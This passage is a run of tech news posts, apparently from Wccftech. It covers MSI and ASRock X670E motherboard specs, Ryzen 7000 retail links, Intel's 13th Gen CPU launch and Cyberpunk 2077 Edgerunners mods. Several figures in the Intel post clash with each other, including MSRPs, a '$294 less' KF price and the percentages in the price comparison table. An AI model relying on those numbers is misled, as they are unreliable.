VRM Design	24+2+1 (105A)	22+2+1 (90A)	18+2+1 (90A)	14+2+1 (80A)
VRM Heatsink	Wavy Fin / Cross heat-pipe / MOSFET backplate	Stacked Fin Array / Direct Touch Heat Pipe / MOSFET Baseplate	Extended Heatsink with Heatpipe	Extended Heatsink
PWM Controller	TBD	TBD	TBD	TBD
Power Stages	TBD	TBD	TBD	TBD
Power Delivery (CPU)	8+8	8+8	8+8	8+8
Memory DIMMs	4 DDR5 DIMM	4 DDR5 DIMM	4 DDR5 DIMM	4 DDR5 DIMM
Memory Support	DDR5-5600 (JEDEC) DDR5-**** (EXPO)	DDR5-5600 (JEDEC) DDR5-**** (EXPO)	DDR5-5600 (JEDEC) DDR5-**** (EXPO)	DDR5-5600 (JEDEC) DDR5-**** (EXPO)
Memory Capacity	128 GB (Max)	128 GB (Max)	128 GB (Max)	128 GB (Max)
PCIe Gen 5.0 Slots	3 (x8/x4/x4)	3 (x8/x4/x4)	2 (x16/x8)	0
PCIe Gen 4.0/3.0 Slots	1 (x16)	0	1 (x16)	3 (x8/x4/x4) / 1 (x1)
M.2 Gen 5.0 Slots	1	1	2	1
M.2 Gen 4.0 Slots	3	3	2	3
M.2 Heatsinks	M.2 Shield Frozr Heatsinks	M.2 Shield Frozr Heatsinks	M.2 Shield Frozr Heatsinks	M.2 Shield Frozr Heatsinks
SATA III Ports	8	6	6	6
WiFi Capabilities	WiFi 6E	WiFi 6E	WiFi 6E	WiFi 6E
LAN Capabilities	1 x 10 GbE (Marvell AQtion) 1 x 2.5 GbE (Intel I225V)	1 x 10 GbE (Marvell AQtion)	1 x 2.5 GbE (Realtek 8125B)	1 x 2.5 GbE (Realtek 8125B)
USB 4.0 Ports	0	0	0	0
USB 3.2 Ports	15	17	13	13
USB 3.1/3.0/2.0 Ports	4	4	6	4
RGB Sync Software	MSI Mystic Light	MSI Mystic Light	MSI Mystic Light	MSI Mystic Light
Price	$1299 US	$799 US	$499 US	$329 US

ASRock X670E & X670 Motherboards

Initially, ASRock will be launching five new X670E motherboards for the AMD Ryzen 7000 Desktop CPU family. Each motherboard will be placed within its own segment which includes the CARRARA Taichi, Standard Taichi, Phantom Gaming, Steel Legend, and Pro Series lineup. ASRock X670 & B650 motherboards support the latest Blazing OC Tuner software which we detailed here. Following are the motherboards to expect from ASRock:

• ASRock X670E Taichi Carrara
• ASRock X670E Taichi
• ASRock X670E Steel Legend
• ASRock X670E Pro RS
• ASRock X670E PG Lightning

So with the motherboards out of the way, let's take a look at the individual specs and features that each product has to offer.

ASRock X670E Taichi Carrara

The ASRock X670E Taichi Carrara is a special edition motherboard, designed to celebrate the 20th Anniversary of ASRock, Taichi Carrara resembles the high strength as well as the esthetic of Carrara marble, they are also the key elements while developing this motherboard. The motherboard has a high-end 26-Phase SPS Dr.MOS power delivery and features four DDR5 DIMM slots supporting up to 128 GB capacities and overclocked (EXPO) profiles up to DDR5-6600+(OC). The CPU socket is powered by a dual 8-pin connector configuration.

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Expansion slots include two PCIe Gen 5.0 x16 slots (x16/x8 electrical), a single PCIe Gen 5 x4, and three PCIe Gen 4 x4 M.2 slots, all of which are covered by large metallic heatsinks. There are also eight SATA III ports. I/O includes 5 USB 3.2 Gen 2 Type-A, 7 USB 3.2 Gen 1, and dual USB 4 ports. It also comes with WiFi 6E capabilities and a 2.5 GbE Ethernet LAN port.

Specification

• Supports Ryzen 7000 series processors (AM5)
• 26 Phase SPS Dr.MOS Power Design
• Supports DDR5 Memory (DDR5-6600+ OC)
• 1 PCIe 5.0 x16, 1 PCIe 5.0 x8
• Graphics Output Options: HDMI
• Realtek ALC4082 7.1 CH HD Audio Codec, ESS SABRE 9218 DAC, WIMA Audio Caps
• 8 SATA3, 1 Blazing M.2 (PCIe Gen5 x4), 2 Hyper M.2 (PCIe Gen4 x4), 1 Hyper M.2 (PCIe Gen4 x4 & SATA3)
• 2 Thunderbolt 4/USB4 Type-C, 1 Front USB 3.2 Gen2x2 Type-C
• 5 Rear USB 3.2 Gen2 Type A, 7 USB 3.2 Gen1 (3 Rear, 4 Front)
• Killer E3100G 2.5G LAN, Killer AX1675X 802.11ax (WiFi 6E) + Bluetooth
• Killer DoubleShot Pro
• Lightning Gaming Ports

ASRock X670E Taichi

The ASRock X670E Taichi shares the same design as the Carrara offering. Both motherboards are equipped with many exciting features and new technology such as PCIe 5.0 & DDR5 capability, the insane IO capability including the support of Thunderbolt 4.0 has pushed the X670 platform even further into a high-end desktop category, and ASRock went all out on the VRM design too, with a total of 26 phases SPS Dr.MOS design on the X670E Taichi, it is the most powerful AM5 product ASRock can offer.

Besides the color difference, I expect the standard Taichi to cost a bit lower considering the other model is more of a collectible item.

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Today is the day, AMD officially kicked off the sales of its Ryzen 7000 "Zen 4" CPUs and the accompanying AM5 motherboard platform.

AM5 Is Finally Here! AMD Ryzen 7000 CPUs & X670 Motherboards Are Now Available Worldwide

Yesterday, we gave our impressions of the AMD Ryzen 9 7950X and Ryzen 7 7700X in our launch review, &  today, we can provide you the links where you will be able to find the latest Zen 4 chips and AM5 motherboards to purchase for yourself. The CPUs that we are getting today include:

• AMD Ryzen 9 7950X - $699 US
• AMD Ryzen 9 7900X - $549 US
• AMD Ryzen 7 7700X - $399 US
• AMD Ryzen 5 7600X - $299 US

Following are the retail links from various outlets where you can find CPUs and motherboards (Note: The following list will keep on being updated for the next several hours):

AMD Ryzen 7000 CPUs Retail Links:

• Ryzen 9 7950X (BestBuy / US) - $699.99 US
• Ryzen 9 7900X (BestBuy / US) - $549.99 US
• Ryzen 7 7700X (BestBuy / US) - $399.99 US
• Ryzen 5 7600X (BestBuy / US) - $299.99 US
• Ryzen 9 7950X (Amazon / US)
• Ryzen 9 7900X (Amazon / US)
• Ryzen 7 7700X (Amazon / US)
• Ryzen 5 7600X (Amazon / US)
• Ryzen 9 7950X (Newegg / US) - $699.99 US
• Ryzen 9 7900X (Newegg / US) - $549.99 US
• Ryzen 7 7700X (Newegg / US) - $399.99 US
• Ryzen 5 7600X (Newegg / US) - $299.99 US
• Ryzen 9 7950X (Mindfactory / Germany) - €849
• Ryzen 9 7900X (Mindfactory / Germany) - €669
• Ryzen 7 7700X (Mindfactory / Germany) - €479
• Ryzen 5 7600X (Mindfactory / Germany) - €359
• Ryzen 9 7950X (Microcenter / US) - $699.99 US
• Ryzen 9 7900X (Microcenter / US) - $549.99 US
• Ryzen 7 7700X (Microcenter / US) - $399.99 US
• Ryzen 5 7600X (Microcenter / US) - $299.99 US

AMD AM5 Motherboards Retail Links:

• ASUS ROG Crosshair X670E Extreme (Newegg) - $999
• ASUS ROG Crosshair X670E Extreme (Amazon)
• ASUS ROG Crosshair X670E HERO (Newegg) - $699
• ASUS ROG Crosshair X670E GENE (Newegg) - $599
• ASUS ROG Crosshair X670E GENE (Amazon)
• MSI MEG X670E ACE (Mindfactory) - €899
• MSI MPG X670E Carbon WIFI (Mindfactory) - €579
• MSI PRO X670-P WIFI (Mindfactory) - €389
• MSI PRO X670-P WIFI (Newegg) - $299
• Gigabyte X670E AORUS Xtreme (Newegg) - $699
• Gigabyte X670E AORUS Xtreme (Mindfactory) - €789
• Gigabyte X670E AORUS Xtreme (Amazon)
• Gigabyte X670E AORUS Master (Newegg) - $499
• Gigabyte X670E AORUS Master (Mindfactory) - €549
• Gigabyte X670E AORUS Master (Amazon)
• Gigabyte X670 AORUS Elite AX (Newegg) - $289
• Gigabyte X670 AORUS Elite AX (BestBuy) - $289
• Gigabyte X670 AORUS Elite AX (Amazon)
• Gigabyte X670 AORUS Elite AX (Mindfactory) - €385
• ASRock X670E Taichi Carrara (Newegg) - $529
• ASRock X670E Taichi (Newegg) - $499 US
• ASRock X670E Taichi  (Mindfactory) - €649
• ASRock X670E Steel Legend (Newegg) - $299
• ASRock X670E Steel Legend (Mindfactory) - €399
• ASRock X670E PRO RS (Newegg) - $279
• ASRock X670E Pro RS (Mindfactory) - €369
• ASRock X670E PG Lightning (Newegg) - $259
• ASRock X670E PG Lightning (Mindfactory) - €329

AMD Ryzen 7000 Specifications Recap

So before getting into the core specifications of these four SKUs, we have to point out that the AMD Ryzen 7000 CPUs are based on a TSMC 5nm process node with a CCD die size of 70mm2 compared to 83mm2 for Zen 3 and featuring a total of 6.57 Billion transistors, a 58% increase over the Zen 3 CCD with 4.15 Billion transistors, The CPUs adopt the Zen 4 architecture, bringing with it a 13% IPC uplift but the majority of the performance benefit comes from the higher clock speeds and a higher TDP that is supplemented to each chip versus the prior generation.

AMD has highlighted a +29% Single-Threaded, >35% Multi-Threaded and >25% Perf/Watt increases when comparing Zen 4 to Zen 3 cores. The IOD is fabricated on the 6nm process node and houses an iGPU which comes with 2 RDNA 2 Compute Units running at up to 2200 MHz as detailed here. It features a die size of 124.7mm2 which is almost the same size as the Zen 3 IOD which measured at 124.9mm2.

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AMD Ryzen 7000 Desktop CPU Render (With/Without IHS):

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As per AMD, the main improvements for IPC come from a new Front End & Load/Store + Branch Predictor that makes up for 80% of the gains while the L2 cache structuring and Execution Engines offer the remaining 20% uplifts.

AMD also highlighted that AVX-512 & VNNI add up to 30% faster FP32 (multi-thread) inferencing performance and a 2.5x gain in INT8 (multi-thread) CPU performance uplift. In addition to the larger caches, the Micro-op cache has been increased from 4 KB to 6.75 KB, the L1I and L1D cache stick to 32 KB, the L2 cache size has doubled to 1 MB and now runs at 14 cycles instead of 12 while the L3 cache also features slightly higher latency, going up from 46 cycles to 50 cycles. The L1 BTB has also been increased from 1 KB to 1.5 KB.

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Compared to Zen 3, Zen 4 architecture is also going to be really efficient, offering 62% lower power at the same performance, and 49% more performance at the same power. The CPUs also feature 50% less area versus the competition (10nmESF Alder Lake) thanks to their 5nm process node and up to 47% higher power efficiency.

AMD Ryzen  'Zen 4' Desktop CPU Features:

• Up To 16 Zen 4 Cores and 32 Threads
• +29% Performance Uplift In Single-Threaded Apps
• Brand New Zen 4 CPU Cores (IPC / Architectural Improvements)
• Brand New TSMC 5nm process node with 6nm IOD
• 25% Performance Per Watt Improvement Vs Zen 3
• >35% Overall Performance Improvement Vs Zen 3
• ~13% Instructions Per Clock (IPC) Improvement Vs Zen 3
• Support on AM5 Platform With LGA1718 Socket
• New X670E, X670, B650E, B650 Motherboards
• Dual-Channel DDR5 Memory Support
• Up To DDR5-5600 Native (JEDEC) Speeds
• 28 PCIe Lanes (CPU Exclusive)
• 105-120W TDPs (Upper Bound Range ~170W)

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The CPUs will come with an optimized cache restructuring, featuring double the L2 cache (1 MB vs 512 KB), a shared L3 cache like the previous generation, support for DDR5 memory with EXPO (AMD's Extended Profiles For Memory Overclocking), PCIe Gen 5.0 graphics card, and M.2 SSD support. Overclocking features such as PBO and XFR will also carry over from the past chips. So with all of that said, let's get on with the specifications.

AMD Ryzen 7000 CPU Box Packages:

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AMD Ryzen 9 7950X 16 Core "Zen 4" Desktop CPU

Starting with the flagship of them all, we have the AMD Ryzen 9 7950X which retains its healthy 16 core and 32 thread count from the previous two generations. The CPU will feature an impressive base frequency of 4.5 GHz and a boost clock of up to 5.7 GHz (5.85 GHz F-Max) which should make it 200 MHz faster than Intel's Alder Lake Core i9-12900KS which has a boost frequency of 5.5 GHz on a single-core.

It looks like AMD is extracting every ounce of Hertz that it could within that 170W TDP (230W PPT) for the Ryzen 9 chips. As for the cache, the CPU comes with 80 MB of that which includes 64 MB from L3 (32 MB per CCD) and 16 MB from L2 (1 MB per core). The flagship is going to cost $699 US which means that it will be priced slightly higher than the Core i9-12900K while offering a significant performance leap in multi-threading apps such as Chaos V-Ray of up to +57% and doing so with up to 47% higher energy efficiency.

In terms of gaming performance, the AMD Ryzen 9 7950X will be offering up to 35% higher uplift in games such as Shadow of The Tomb Raider versus the Core i9-12900K.

AMD also showcased the performance of the AMD Ryzen 9 7950X against the Intel Core i9-12900K in both gaming and content creation tasks. The CPU was anywhere from -1% to +23% faster in the gaming benchmarks and +36 to +62% faster in creation workloads.

AMD Ryzen 9 7900X 12 Core "Zen 4" Desktop CPU

Next up, we have another AMD Ryzen 9 chip, the 7900X, which as the name suggests, would come equipped with 12 cores and 24 threads. The CPU comes with an even higher base clock of 4.7 GHz and a boost clock adjusted at 5.6 GHz across a single core. The CPU retains its 170W TDP and gets 76 MB of cache (64 MB L3 + 12 MB L2). The CPU will be positioned in the same ballpark as the AMD Ryzen 9 5900X but with performance that would shake the ground from below the Core i7-12700K. The Ryzen 9 7900X will retain the same prices as the Ryzen 9 5900X while offering better processor capabilities.

AMD Ryzen 7 7700X 8 Core "Zen 4" Desktop CPU

Moving over to the Ryzen 7 family, here we have the AMD Ryzen 7 7700X, an 8-core and 16-thread part. AMD positions this as the sweet spot for gamers and as such, the CPU will feature a base clock of 4.5 GHz and a boost clock of 5.4 GHz but at a lower 105W TDP (142W PPT). The CPU will get a 40 MB cache pool which consists of 32 MB L3 from the singular CCD &8 MB L2 from the Zen 4 cores.

Now one interesting thing to mention is that there is so far no update by AMD on a Ryzen 7 7800X chip. It is likely that AMD wants to replace that part with a successor to the Ryzen 7 5800X3D with Zen 4 cores (3D V-Cache). If that was the case, we can expect an update later this year to the CPU lineup since the V-Cache parts have been confirmed for a late Q4 2022 launch by AMD themselves. The Ryzen 7 7700X will be priced at $399 US and will be competing with the Core i7-12700K during launch.

AMD Ryzen 5 7600X 6 Core "Zen 4" Desktop CPU

Last up, we have the most budget-tier chip (if you can call it that but the pricing won't be reflective of that), the Ryzen 5 7600X. This will be a 6-core and a 12-thread part that features a high 4.7 GHz base clock and a 5.3 GHz single-core boost frequency. The CPU will also run at a 105W TDP (142W PPT) which is much higher than its 65W predecessor though once again, that's the sacrifice you've to pay to achieve the faster clock speeds. The CPU will carry 38 MB of cache that comes from 32 MB of L3 and 6 MB of L2 on the die. This chip is going to be priced at $299 US and will be offering a 5% performance gain over the Core i9-12900K in gaming.

AMD will be bringing back its PBO and XFR overclocking features to the Ryzen 7000 Zen 4 CPUs along with enhanced DDR5 memory and overclocking support through EXPO technology. The CPUs will also come equipped with RDNA 2 iGPU with up to 2 Compute Units running at 2.2 GHz which would be usable through HDMI 2.1 FRL and DP 1.4 connectors on the latest AM5 motherboards. In addition to the CPU & GPU, there will be an expanded instruction set for AI acceleration (AVX-512 anyone?).

AMD Ryzen 7000 'Raphael' Desktop CPU Specs (Official):

CPU Name	Architecture	Process Node	Cores / Threads	Base Clock	Boost Clock (SC Max)	Cache	TDP	Prices (TBD)
AMD Ryzen 9 7950X	Zen 4	5nm	16/32	4.5 GHz	5.7 GHz	80 MB (64+16)	170W	$699 US
AMD Ryzen 9 7900X	Zen 4	5nm	12/24	4.7 GHz	5.6 GHz	76 MB (64+12)	170W	$549 US
AMD Ryzen 7 7700X	Zen 4	5nm	8/16	4.5 GHz	5.4 GHz	40 MB (32+8)	105W	$399 US
AMD Ryzen 5 7600X	Zen 4	5nm	6/12	4.7 GHz	5.3 GHz	38 MB (32+6)	105W	$299 US

The post AMD Ryzen 7000 CPUs & AM5 Motherboards Are Now Available To Purchase, Here’s Where To Buy Them! by Hassan Mujtaba appeared first on Wccftech.

Intel has finally announced its much anticipated 13^th Generation CPUs codenamed ‘Raptor Lake’. The company was able to achieve a standard 15% ST and a 41% multi-threaded advantage over its last generation of CPUs. The flagship of the current lineup will boost to 5.8 GHz out of the box while a 6 GHz KS version is expected to arrive making Intel the first company to hit 5 GHz on CPUs. The company also shared a lot of gaming benchmarks although as AMD had yet to release its Ryzen 7000 series CPUs, the comparisons will be against the Ryzen 5950X and 5800X3D.

Intel shows off first-party gaming benchmarks against AMD Ryzen 5950X and 5800X3D

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Up next, Intel shows off first-party gaming benchmarks against the AMD Ryzen 5950X and 5800X3D. While it can easily handle the Ryzen 5950x, the 5800X3D with its 3D VCache gives it a bit more trouble. We can see the 13900K trading blows with the 5800X3D but does appear to come out on top – at least in these select few first-party benchmarks. As always you should always wait for third party benchmarks when dealing with any vendor. This time, Intel is also touting its ability to maintain frame consistency at the 99^th percentile low metric and showcases that against AMD’s 5950X.

 

Raptor Lake achieves performance parity with Alder Lake at just 65W

Perhaps most impressively, Raptor Lake is able to achieve Intel Core i9 12900k (at PL2=241W) performance parity at just 65Ws. This represents a huge increase in performance efficiency (1/4^th the power needed for Alder Lake to be exact) gain and if users want they can retain the ~250W PL2 to get up to 41% more multi-threaded performance – which is a huge gain for CPUs.

In the first salvo of SKUs, Intel has announced 6 CPUs. The Intel Core i9 13900K will have 24 CPU cores (8 P and 16 E) for a total of 32 CPU threads. These will be serviced by 36MB of L3 Smart Cache and 32 MB of L2 cache with a p-core Max turbo of 5.8 GHz and a E-core max turbo fo 4.3 GHz. The CPU also features Intel UHD Graphics 770 and will feature a total of 20 PCIe lanes. Both DDR5 5600 and DDR4 3200 MHz memory will be supported with a maximum memory cap of 128GB. The base TDP (PL1) will be set to 125W while the PL2 will be set to 253W by default. The MSRP will be $589. A KF variant is also present which is otherwise identical but lacks the integrated graphics for $25 less.

Up next you have the Core i7 13700K which features 16 cores (8 P and 8 E) for a total of 24 threads. These will be serviced by 30 MB of L3 Smart Cache and 24 MB of L2 cache with a p-core Max turbo of 5.4 GHz and a E-core max turbo of 4.2 GHz. The CPU also features Intel UHD Graphics 770 and will feature a total of 20 PCIe lanes. Both DDR5 5600 and DDR4 3200 MHz memory will be supported with a maximum memory cap of 128GB. The base TDP (PL1) will be set to 125W while the PL2 will be set to 253W by default. The MSRP will be $409. A KF variant is also present which is otherwise identical but lacks the integrated graphics for $25 less.

Finally you have the Core i5 13600K which features 14 cores (6 P and 8 E) for a total of 20 threads. These will be serviced by 24 MB of L3 Smart Cache and 20 MB of L2 cache with a p-core Max turbo of 5.1 GHz and a E-core max turbo of 3.9 GHz. The CPU also features Intel UHD Graphics 770 and will feature a total of 20 PCIe lanes. Both DDR5 5600 and DDR4 3200 MHz memory will be supported with a maximum memory cap of 128GB. The base TDP (PL1) will be set to 125W while the PL2 will be set to 181W by default. The MSRP will be $319. A KF variant is also present which is otherwise identical but lacks the integrated graphics for $294 less.

The full slide deck can  be seen below:

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Intel 13th Gen vs AMD Ryzen 7000 Pricing Comparison:

Intel CPU	MSRP	Difference (AMD vs Intel)	MSRP	AMD CPU
Intel Core i9-13900K	$659	AMD is 6% expensive	$699	AMD Ryzen 9 7950X
Intel Core i9-13900KF	$629	AMD is 11% expensive	$699	AMD Ryzen 9 7950X
Intel Core i7-13700K	$449	Intel is 22% expensive	$549	AMD Ryzen 9 7900X
Intel Core i7-13700KF	$429	Intel is 8% expensive	$399	AMD Ryzen 7 7700X
Intel Core i5-13600K	$329	Intel is 10% expensive	$299	AMD Ryzen 5 7600X
Intel Core i5-13600KF	$309	Intel is 3% expensive	$299	AMD Ryzen 5 7600X

The post Intel Launches 13th Gen CPUs: Starting At $294, 5.8GHz, 15% ST Increase And 41% Multi-Threaded Performance Increase Over Alder Lake by Usman Pirzada appeared first on Wccftech.

Fans of Netflix’s Cyberpunk Edgerunners hit series will surely love these new Cyberpunk 2077 Edgerunners mods.

The Edgerunners anime series is hot and, combined with the CD Projekt Red’s hard work, has resparked interest in Cyberpunk 2077. The anime series recently reached the Netflix Top 10 in over 30 countries, and in turn, Cyberpunk 2077 concurrent player numbers on Steam have been on the rise for more than a week and recently passed the all-time Steam Peak Concurrent Players for The Witcher 3 – quite impressive for sure.

Due to the popularity of Edgerunners, several new mods have been released for Cyberpunk 2077 over the past week, and we wanted to share a few interesting ones.

One of the most popular new mods is the Edgerunners Lucy face mod which replaces Female V’s face preset. In just one week, this mod has been downloaded over 24.000 times and has received numerous endorsements. Down below you’ll find some screenshots of this mod in action.

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Those interested can download the Cyberpunk 2077 Edgerunners Lucy face mod from here.

The second mod that we wanted to cover is the Rebecca hairstyle and color mod that replaces the Female V stock hair color and style with that Rebecca’s style and color. The mod can be downloaded from Nexusmods here.

The third and final mod that we wanted to bring to your attention is the V Edgerunners Mansion DLC mod which allows players to purchase and access V's Mansion (as seen in the Edgerunners series) without any loading screens. In addition, this mod comes with new sitting, sleeping, wardrobe, and shower interactions. It’s an interesting mod that fans might want to try out.

The latest version of this mod can be downloaded via Nexusmods as well.

As always with mods, be sure to read and follow the provided installation instructions before using them.

Cyberpunk 2077 is available globally now for PC, Xbox Series X|S, Xbox One, PS5, PS4, and Stadia. The Cyberpunk: Edgerunners series can be watched on Netflix right now.

The post These New Cyberpunk 2077 Edgerunners Mods Will Please Fans of the Anime Series by Aernout van de Velde appeared first on Wccftech.